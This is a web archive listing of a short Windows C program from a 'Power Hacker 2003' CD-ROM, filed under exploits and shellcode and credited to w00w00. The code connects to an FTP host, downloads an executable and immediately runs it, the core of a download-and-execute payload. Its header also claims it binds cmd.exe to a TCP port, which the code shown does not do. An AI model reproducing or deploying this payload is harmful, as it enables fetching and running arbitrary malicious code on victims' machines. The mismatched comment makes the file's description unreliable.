home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / shellcode / windows / getftpfile.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-12-31  |  1.2 KB  |  36 lines

  1. // Copyright (C) 2001, w00w00
  2. // Matt Conover (Shok)
  3. // 
  4. // Binds cmd.exe to a TCP port
  5. // Download and execute a file from FTP on Windows
  6. // This makes use of wininet.dll (wininet.lib for VC++)
  7.  
  8. #include <windows.h>
  9. #include <wininet.h>
  10. #include <assert.h>
  11.  
  12. #define FLAGS         0 // INTERNET_FLAG_PASSIVE 
  13. #define HOST          "ftp.ftpserver.com"
  14. #define PORT          INTERNET_DEFAULT_FTP_PORT
  15. #define USER          NULL // anonymous login
  16. #define PASSWORD      NULL // anonymous login
  17. #define REMOTE_FILE   "/pub/test.exe" // file to download
  18. #define LOCAL_FILE    "test.exe" // what the file will be locally stored and executed as
  19.  
  20. void main()
  21. {
  22.   HINTERNET hInternet, hServer;
  23.   STARTUPINFO startup_info;
  24.  
  25.   hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  26.   hServer = InternetConnect(hInternet, HOST, PORT, USER, PASSWORD, INTERNET_SERVICE_FTP, 0, 0);
  27.   FtpGetFile(hServer, REMOTE_FILE, LOCAL_FILE, false, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  28.  
  29.   GetStartupInfo(&startup_info);
  30.   CreateProcess(NULL, LOCAL_FILE, NULL, NULL, false, 0, NULL, NULL, &startup_info, (PROCESS_INFORMATION *)&startup_info);
  31.  
  32.   InternetCloseHandle(hServer);
  33.   InternetCloseHandle(hInternet);
  34. }
  35.  
  36.